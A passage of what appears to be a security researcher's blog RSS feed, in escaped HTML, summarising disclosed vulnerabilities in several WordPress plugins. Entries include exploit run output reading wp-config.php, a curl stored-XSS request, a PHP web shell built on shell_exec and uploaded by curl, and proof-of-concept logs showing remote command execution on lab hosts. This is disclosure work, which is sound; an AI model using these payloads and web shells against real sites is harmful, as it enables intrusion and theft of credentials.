style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-console&#34; data-lang=&#34;console&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; python3 ./exploit.py http://techcorp.cc contributor password   &#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[+] Target: http://techcorp.cc&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[+] Username: contributor&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[+] Nonce obtained: 5dc61a0166&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[+] Post created with ID: 148&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[+] File written to uploads directory&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[+] Attempting to retrieve file from: http://techcorp.cc/wp-content/uploads/2025/11/varwwwhtmlwp-config.php.jpg&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[+] File retrieved successfully!&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;[+] wp-config.php contents:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;?php&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;/**&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; * The base configuration for WordPress&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; *&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; * The wp-config.php creation script uses this file during the installation.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; * You don&amp;#39;t have to use the website, you can copy this file to &amp;#34;wp-config.php&amp;#34;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; * and fill in the values.&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; *&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; * This file contains the following configurations:&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; *&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; * * Database settings&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; * * Secret keys&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;details&#34;&gt;Details&lt;/h2&gt;&#xA;&lt;h3 id=&#34;file-insert-function&#34;&gt;&lt;strong&gt;File Insert Function&lt;/strong&gt;&lt;/h3&gt;&#xA;&lt;p&gt;The &lt;code&gt;lqdai_update_post&lt;/code&gt; AJAX action calls the &lt;code&gt;update_post()&lt;/code&gt; function on line &lt;a href=&#34;https://plugins.trac.wordpress.org/browser/liquid-chatgpt/trunk/liquid-chatgpt.php#L315&#34; target=&#34;_blank&#34;&gt;315&lt;/a&gt; of &lt;code&gt;/wp-content/plugins/liquid-chatgpt/liquid-chatgpt.php&lt;/code&gt;, which lacks proper capability checks and allows any authenticated user to modify posts they can edit:&lt;/p&gt;</description>
			</item>
			<item>
				<title>WPBookit &lt;= 1.0.6 - Unauthenticated Stored Cross-Site Scripting</title>
				<link>https://ryankozak.com/posts/cve-2025-12135/</link>
				<pubDate>Thu, 20 Nov 2025 00:02:00 +0000</pubDate>
				<guid>https://ryankozak.com/posts/cve-2025-12135/</guid>
				<description>&lt;h3 id=&#34;cve-2025-12135&#34;&gt;CVE-2025-12135&lt;/h3&gt;&#xA;&lt;p&gt;The &lt;a href=&#34;https://wordpress.org/plugins/wpbookit/&#34; target=&#34;_blank&#34;&gt;WPBookit&lt;/a&gt; plugin does not validate user permission or sanitize custom CSS/JS code in its &lt;code&gt;save_custome_code&lt;/code&gt; AJAX endpoint, allowing unauthenticated attackers to inject arbitrary JavaScript that executes on every page load, leading to stored XSS and potential session hijacking.&lt;/p&gt;&#xA;&lt;h2 id=&#34;tldr-exploits&#34;&gt;TL;DR Exploits&lt;/h2&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Basic XSS injection&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -X POST &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;http://localhost:1337/wp-admin/admin-ajax.php?action=wpb_ajax_post&amp;amp;route_name=save_custome_code&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;\&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  -H &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;Content-Type: application/x-www-form-urlencoded&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;\&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  -d &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;css_code=/* malicious */&amp;amp;js_code=alert(&amp;#39;XSS&amp;#39;);&amp;#34;&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;details&#34;&gt;Details&lt;/h2&gt;&#xA;&lt;p&gt;The vulnerability exists in the &lt;code&gt;save_custome_code&lt;/code&gt; method of the &lt;code&gt;WPB_Setting_Controller&lt;/code&gt; class. The plugin registers AJAX endpoints for unauthenticated users, allowing any visitor to inject arbitrary CSS/JS code that gets executed on every page load.&lt;/p&gt;</description>
			</item>
			<item>
				<title>S2B AI Assistant – ChatBot, ChatGPT, OpenAI, Content &amp; Image Generator &lt;= 1.7.8 - Authenticated (Editor&#43;) Arbitrary File Upload</title>
				<link>https://ryankozak.com/posts/cve-2025-12973/</link>
				<pubDate>Thu, 20 Nov 2025 00:01:00 +0000</pubDate>
				<guid>https://ryankozak.com/posts/cve-2025-12973/</guid>
				<description>&lt;h3 id=&#34;cve-2025-12973&#34;&gt;CVE-2025-12973&lt;/h3&gt;&#xA;&lt;p&gt;The WordPress &lt;a href=&#34;https://wordpress.org/plugins/s2b-ai-assistant&#34; target=&#34;_blank&#34;&gt;S2B AI Assistant&lt;/a&gt; plugin (versions 2.47 and prior) contains an arbitrary file upload vulnerability that allows authenticated WordPress users with Editor role or higher to upload malicious PHP files to the server, potentially leading to remote code execution.&lt;/p&gt;&#xA;&lt;h2 id=&#34;tldr-exploits&#34;&gt;TL;DR Exploits&lt;/h2&gt;&#xA;&lt;p&gt;A POC &lt;a href=&#34;https://github.com/d0n601/CVE-2025-12973/blob/master/CVE-2025-12973.py&#34; target=&#34;_blank&#34;&gt;CVE-2025-12973.py&lt;/a&gt; is provided to demonstrate a remote attacker uploading &lt;code&gt;shell.php&lt;/code&gt; and executing remote code:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;python3 ./CVE-2025-12973.py http://techcorp.cc editor $PASSWORD&#xA;[+] Target: http://techcorp.cc&#xA;[+] Username: editor&#xA;[+] Nonce obtained: a15be47119&#xA;[+] File uploaded successfully!&#xA;[+] Shell URL: http://techcorp.cc/wp-content/uploads/2025/11/shell.php&#xA;[+] Command output:&#xA;uid=33(www-data) gid=33(www-data) groups=33(www-data)&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;h2 id=&#34;technical-description&#34;&gt;Technical Description&lt;/h2&gt;&#xA;&lt;p&gt;The vulnerability exists in the &lt;code&gt;Utils.php&lt;/code&gt; file at the &lt;code&gt;storeFile()&lt;/code&gt; method, which is called by the &lt;code&gt;/wp-admin/admin-post.php&lt;/code&gt; endpoint with action &lt;code&gt;s2b_store_chatbot_upload&lt;/code&gt;. The upload functionality uses a custom file extension whitelist that explicitly allows dangerous file types including PHP files. This allows authenticated WordPress users with Editor role or higher to upload arbitrary files, including PHP files that can be executed on the server.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Alex Reservations: Smart Restaurant Booking &lt;= 2.2.3 - Authenticated (Admin&#43;) Arbitrary File Upload</title>
				<link>https://ryankozak.com/posts/cve-2025-12399/</link>
				<pubDate>Fri, 07 Nov 2025 00:01:00 +0000</pubDate>
				<guid>https://ryankozak.com/posts/cve-2025-12399/</guid>
				<description>&lt;h3 id=&#34;cve-2025-12399&#34;&gt;CVE-2025-12399&lt;/h3&gt;&#xA;&lt;p&gt;The WordPress &lt;a href=&#34;https://wordpress.org/plugins/alex-reservations&#34; target=&#34;_blank&#34;&gt;Alex Reservations&lt;/a&gt; plugin (versions 2.2.3 and prior) contains an arbitrary file upload vulnerability that allows authenticated WordPress administrators to upload malicious PHP files to the server, potentially leading to remote code execution.&lt;/p&gt;&#xA;&lt;h2 id=&#34;tldr-exploits&#34;&gt;TL;DR Exploits&lt;/h2&gt;&#xA;&lt;p&gt;A POC &lt;a href=&#34;https://github.com/d0n601/CVE-2025-12399/blob/master/CVE-2025-12399.py&#34; target=&#34;_blank&#34;&gt;CVE-2025-12399.py&lt;/a&gt; is provided to demonstrate a remote attacker uploading &lt;code&gt;shell.php&lt;/code&gt; and executing remote code:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;python3 ./CVE-2025-12399.py https://TARGETSITE.com admin &amp;#34;$PASSWORD&amp;#34;                                                                                            &#xA;[+] Target: http://TARGETSITE.com&#xA;[+] Username: admin&#xA;[+] Nonce obtained: 022b25d0a5&#xA;[+] File uploaded successfully!&#xA;[+] Shell URL: https://TARGETSITE.com/wp-content/uploads/alex-reservations/2025/10/shell.php&#xA;[+] Command output:&#xA;uid=33(www-data) gid=33(www-data) groups=33(www-data)&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;h2 id=&#34;technical-description&#34;&gt;Technical Description&lt;/h2&gt;&#xA;&lt;p&gt;The vulnerability exists in the &lt;code&gt;UploadFileController.php&lt;/code&gt; file at the &lt;code&gt;/wp-json/srr/v1/app/upload/file&lt;/code&gt; endpoint. The upload functionality lacks proper file validation and only performs basic filename sanitization using a regex pattern. This allows authenticated WordPress administrators to upload arbitrary files, including PHP files that can be executed on the server.&lt;/p&gt;</description>
			</item>
			<item>
				<title>StoreEngine – Powerful WordPress eCommerce Plugin for Payments, Memberships, Affiliates, Sales &amp; More &lt;= 1.4.0 - Authenticated (Subscriber&#43;) Arbitrary File Upload</title>
				<link>https://ryankozak.com/posts/cve-2025-9216/</link>
				<pubDate>Tue, 16 Sep 2025 00:01:00 +0000</pubDate>
				<guid>https://ryankozak.com/posts/cve-2025-9216/</guid>
				<description>&lt;h3 id=&#34;cve-2025-9216&#34;&gt;CVE-2025-9216&lt;/h3&gt;&#xA;&lt;p&gt;The &lt;a href=&#34;https://wordpress.org/plugins/storeengine/&#34; target=&#34;_blank&#34;&gt;StoreEngine&lt;/a&gt; plugin contains a vulnerability in it&amp;rsquo;s CSV Import/Export feature that allows &lt;strong&gt;any authenticated user&lt;/strong&gt; (subscriber, author, editor, etc.) to upload arbitrary files and gain remote code execution. The vulnerability stems from two security flaws: (1) the CSV import endpoint lacks proper file validation checks, permission checks, and only relies on nonce verification for security, and (2) the &lt;code&gt;storeengine_nonce&lt;/code&gt; is exposed to &lt;strong&gt;ALL frontend users&lt;/strong&gt; through the plugin&amp;rsquo;s JavaScript. This combination allows any authenticated user to extract the nonce from frontend pages and use it to upload PHP web shells via the &lt;code&gt;storeengine_csv/import&lt;/code&gt; endpoint, effectively granting subscriber+ users the ability to execute arbitrary code on the server.&lt;/p&gt;</description>
			</item>
			<item>
				<title>StoreEngine Powerful WordPress eCommerce Plugin for Payments, Memberships, Affiliates, Sales &amp; More &lt;= 1.4.0 - Authenticated (Subscriber&#43;) Arbitrary File Download</title>
				<link>https://ryankozak.com/posts/cve-2025-9215/</link>
				<pubDate>Tue, 16 Sep 2025 00:00:00 +0000</pubDate>
				<guid>https://ryankozak.com/posts/cve-2025-9215/</guid>
				<description>&lt;h3 id=&#34;cve-2025-9215&#34;&gt;CVE-2025-9215&lt;/h3&gt;&#xA;&lt;p&gt;The &lt;a href=&#34;https://wordpress.org/plugins/storeengine/&#34; target=&#34;_blank&#34;&gt;StoreEngine&lt;/a&gt; plugin contains a vulnerability in its CSV Import/Export feature that allows &lt;strong&gt;any authenticated user&lt;/strong&gt; (subscriber, author, editor, etc.) to download arbitrary files from the server, including sensitive system files, WordPress configuration files, and plugin source code. The vulnerability stems from the &lt;code&gt;storeengine_csv/file_download&lt;/code&gt; endpoint lacking proper path sanitization and only relying on nonce verification for security, while the &lt;code&gt;storeengine_nonce&lt;/code&gt; is exposed to &lt;strong&gt;ALL frontend users&lt;/strong&gt; through the plugin&amp;rsquo;s JavaScript. &lt;strong&gt;Note: This vulnerability requires the CSV Import/Export addon to be enabled by an administrator.&lt;/strong&gt; Once enabled, this combination allows any authenticated user to extract the nonce from frontend pages and use it to download any file on the server via path traversal attacks, effectively granting subscriber+ users access to sensitive system and application files.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Make Connector &lt;= 1.5.10 - Authenticated (Admin&#43;) Arbitrary File Upload</title>
				<link>https://ryankozak.com/posts/cve-2025-6085/</link>
				<pubDate>Wed, 03 Sep 2025 00:00:12 +0000</pubDate>
				<guid>https://ryankozak.com/posts/cve-2025-6085/</guid>
				<description>&lt;h3 id=&#34;cve-2025-6085&#34;&gt;CVE-2025-6085&lt;/h3&gt;&#xA;&lt;p&gt;The &lt;a href=&#34;https://wordpress.org/plugins/integromat-connector/&#34; target=&#34;_blank&#34;&gt;Make Connector&lt;/a&gt; plugin does not sanitize the file types in its REST API media uploads, allowing administrators or above to upload arbitrary files and potentially gain code execution on the server.&lt;/p&gt;&#xA;&lt;h2 id=&#34;tldr-exploits&#34;&gt;TL;DR Exploits&lt;/h2&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-bash&#34; data-lang=&#34;bash&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;cat &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;lt;&amp;lt; &amp;#39;EOF&amp;#39; &amp;gt; shello.php&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;lt;?php    &#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;    // Silence is golden&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;    if (!empty($_GET[&amp;#39;cmd&amp;#39;])) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;        echo &amp;#34;&amp;lt;pre&amp;gt;&amp;#34;.shell_exec($_GET[&amp;#34;cmd&amp;#34;]).&amp;#34;&amp;lt;/pre&amp;gt;&amp;#34;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;?&amp;gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;EOF&lt;/span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;curl -k -X POST https://lab1.hacker/wp-json/wp/v2/media &lt;span style=&#34;color:#ae81ff&#34;&gt;\&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  -H &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;IWC-API-KEY: YOURFRIENDLYKEYHERE&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;\&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  -F &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;file=@shello.php&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;\&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  -F &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;title=Hacker World&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;\&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  -F &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;description=A test file&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;\&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  -F &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;caption=Hacker Caption&amp;#34;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;\&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Leveraging the shell once it&amp;rsquo;s in the uploads folder:&lt;/p&gt;</description>
			</item>
			<item>
				<title>AI Bud – AI Content Generator, AI Chatbot, ChatGPT, Gemini, GPT-4o</title>
				<link>https://ryankozak.com/posts/cve-2025-23968/</link>
				<pubDate>Thu, 03 Jul 2025 00:00:00 +0000</pubDate>
				<guid>https://ryankozak.com/posts/cve-2025-23968/</guid>
				<description>&lt;h3 id=&#34;cve-2025-23968&#34;&gt;CVE-2025-23968&lt;/h3&gt;&#xA;&lt;p&gt;The &lt;a href=&#34;https://wordpress.org/plugins/aibuddy-openai-chatgpt/&#34; target=&#34;_blank&#34;&gt;AI Bud&lt;/a&gt; plugin exposes a REST API endpoint &lt;code&gt;/wp-json/ai-buddy/v1/wp/attachments&lt;/code&gt; that allows uploading files to the WordPress media library. The endpoint’s file logic contains file renaming functionality that triggers after file type validation, and allows the attacker to rename the uploaded file to any extension (including.php) allowing administrators or above to upload arbitrary files and potentially gain code execution on the server.&lt;/p&gt;&#xA;&lt;h2 id=&#34;tldr-exploits&#34;&gt;TL;DR Exploits&lt;/h2&gt;&#xA;&lt;p&gt;A POC &lt;a href=&#34;https://github.com/d0n601/CVE-2025-23968/blob/master/cve-2025-23968.py&#34; target=&#34;_blank&#34;&gt;cve-2025-23968.py&lt;/a&gt; is provided to demonstrate an administrator uploading a web shell named &lt;code&gt;shell.php&lt;/code&gt;.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Download Plugin &lt;= 2.2.8 - Authenticated (Admin&#43;) Arbitrary File Upload via the dpwap_plugin_locInstall Function</title>
				<link>https://ryankozak.com/posts/cve-2025-6586/</link>
				<pubDate>Thu, 03 Jul 2025 00:00:00 +0000</pubDate>
				<guid>https://ryankozak.com/posts/cve-2025-6586/</guid>
				<description>&lt;h3 id=&#34;cve-2025-6586&#34;&gt;CVE-2025-6586&lt;/h3&gt;&#xA;&lt;p&gt;The &lt;a href=&#34;https://wordpress.org/plugins/download-plugin/&#34; target=&#34;_blank&#34;&gt;Download Plugin&lt;/a&gt; does not sanitize the file types of the &lt;code&gt;dpwap_plugin_locInstall&lt;/code&gt; function&#xA;exposed via the &lt;code&gt;mul_upload&lt;/code&gt; admin page, allowing administrators or above to upload arbitrary files and&#xA;potentially gain code execution on the server.&lt;/p&gt;&#xA;&lt;h2 id=&#34;tldr-exploits&#34;&gt;TL;DR Exploits&lt;/h2&gt;&#xA;&lt;p&gt;A POC &lt;a href=&#34;https://github.com/d0n601/CVE-2025-6586/blob/master/cve-2025-6586.py&#34; target=&#34;_blank&#34;&gt;cve-2025-6586.py&lt;/a&gt; is provided to demonstrate an administrator uploading a web shell named &lt;code&gt;shell.php&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;python3 cve-2025-6586.py https://lab1.hacker admin PASSWORD&#xA;Logging into: https://lab1.hacker/wp-admin&#xA;Extracting nonce values...&#xA;Uploading web shell: shell.php&#xA;Web Shell Location: https://lab1.hacker/wp-&#xA;content/uploads/dpwap_logs/files/tmp/shell.php&#xA;&#xA;Executing test command: ip addr&#xA;    &amp;lt;pre&amp;gt;1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN&#xA;group default qlen 1000&#xA;    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&#xA;    inet 127.0.0.1/8 scope host lo&#xA;        valid_lft forever preferred_lft forever&#xA;    inet6 ::1/128 scope host&#xA;        valid_lft forever preferred_lft forever&#xA;2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP&#xA;group default qlen 1000&#xA;    link/ether 08:00:27:5b:34:2f brd ff:ff:ff:ff:ff:ff&#xA;    altname enp0s3&#xA;    inet 10.0.2.15/24 metric 100 brd 10.0.2.255 scope global dynamic eth0&#xA;v       alid_lft 75221sec preferred_lft 75221sec&#xA;    inet6 fd17:625c:f037:2:a00:27ff:fe5b:342f/64 scope global dynamic&#xA;mngtmpaddr noprefixroute&#xA;        valid_lft 86354sec preferred_lft 14354sec&#xA;    inet6 fe80::a00:27ff:fe5b:342f/64 scope link&#xA;        valid_lft forever preferred_lft forever&#xA;3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP&#xA;group default qlen 1000&#xA;    link/ether 08:00:27:39:ea:eb brd ff:ff:ff:ff:ff:ff&#xA;    altname enp0s8&#xA;    inet 192.168.56.56/24 brd 192.168.56.255 scope global eth1&#xA;        valid_lft forever preferred_lft forever&#xA;    inet6 fe80::a00:27ff:fe39:eaeb/64 scope link&#xA;        valid_lft forever preferred_lft forever&#xA;4: docker0: &amp;lt;NO-CARRIER,BROADCAST,MULTICAST,UP&amp;gt; mtu 1500 qdisc noqueue&#xA;state DOWN group default&#xA;    link/ether 02:42:77:47:94:a5 brd ff:ff:ff:ff:ff:ff&#xA;    inet 172.17.0.1/16 brd 172.17.255.255 scope global docker0&#xA;        valid_lft forever preferred_lft forever&#xA;&amp;lt;/pre&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;h2 id=&#34;details&#34;&gt;Details&lt;/h2&gt;&#xA;&lt;p&gt;The &lt;code&gt;dpwap_plugin_multiple_upload_func&lt;/code&gt; function is exposed in the &lt;code&gt;mul_upload&lt;/code&gt; admin page. On line &lt;a href=&#34;https://plugins.trac.wordpress.org/browser/download-plugin/trunk/app/Plugins/Base.php#L80&#34; target=&#34;_blank&#34;&gt;80&lt;/a&gt; of &lt;code&gt;/wp-content/plugins/download-plugin/app/Plugins/Base.php&lt;/code&gt; the function includes &lt;a href=&#34;https://plugins.trac.wordpress.org/browser/download-plugin/trunk/app/Plugins/templates/multiple_upload_plugin.php&#34; target=&#34;_blank&#34;&gt;multiple_upload_plugin.php&lt;/a&gt;.&lt;/p&gt;</description>
			</item>
			<item>
				<title>Migration, Backup, Staging – WPvivid Backup &amp; Migration &lt;= 0.9.116 - Authenticated (Administrator&#43;) Arbitrary File Upload</title>
				<link>https://ryankozak.com/posts/cve-2025-5961/</link>
				<pubDate>Wed, 02 Jul 2025 00:00:00 +0000</pubDate>
				<guid>https://ryankozak.com/posts/cve-2025-5961/</guid>
				<description>&lt;h3 id=&#34;cve-2025-5961&#34;&gt;CVE-2025-5961&lt;/h3&gt;&#xA;&lt;p&gt;The &lt;a href=&#34;https://wordpress.org/plugins/wpvivid-backuprestore/&#34; target=&#34;_blank&#34;&gt;wpvivid-backuprestore&lt;/a&gt; plugin does not sanitize the file types of the &lt;code&gt;wpvivid_upload_import_files&lt;/code&gt; action, allowing administrators or above to upload arbitrary files and potentially gain code execution on the server. NOTE: Uploaded files are only accessible on WordPress instances running on the NGINX web server as the existing .htaccess within the target file upload folder prevents access on Apache servers.&lt;/p&gt;&#xA;&lt;h2 id=&#34;tldr-exploits&#34;&gt;TL;DR Exploits&lt;/h2&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A POC &lt;a href=&#34;https://github.com/d0n601/CVE-2025-5961/blob/master/CVE-2025-5961.py&#34; target=&#34;_blank&#34;&gt;CVE-2025-5961.py&lt;/a&gt; is provided to demonstrate an administrator uploading a web shell named &lt;code&gt;hack.php&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-console&#34; data-lang=&#34;console&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt; python3 ./CVE-2025-5961.py https://lab1.hacker admin password&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Logging into: https://lab1.hacker/wp-admin&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Extracting nonce values...&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;ajax_nonce: e4d4bec9f0&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Uploading web shell: hack.php&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{&amp;#34;result&amp;#34;:&amp;#34;success&amp;#34;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Web Shell At: https://lab1.hacker/wp-content/wpvividbackups/ImportandExport/hack.php&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#960050;background-color:#1e0010&#34;&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;Executing test command: ip addr&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&amp;lt;pre&amp;gt;1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    inet 127.0.0.1/8 scope host lo&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span 